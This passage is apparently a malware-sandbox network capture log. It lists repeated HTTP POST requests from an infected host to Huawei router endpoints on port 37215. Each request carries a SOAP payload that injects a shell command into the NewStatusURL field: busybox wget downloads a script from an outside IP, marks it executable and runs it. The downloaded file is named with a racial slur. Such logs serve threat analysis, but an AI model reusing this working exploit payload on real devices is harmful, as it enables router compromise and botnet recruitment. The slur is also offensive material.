Feb 19, 2024 18:36:44.376420021 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.930587053 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:46.050595999 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290409088 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.898448944 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.858063936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521619081 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:56.384608030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.15	60644	31.136.128.73	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.376456022 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
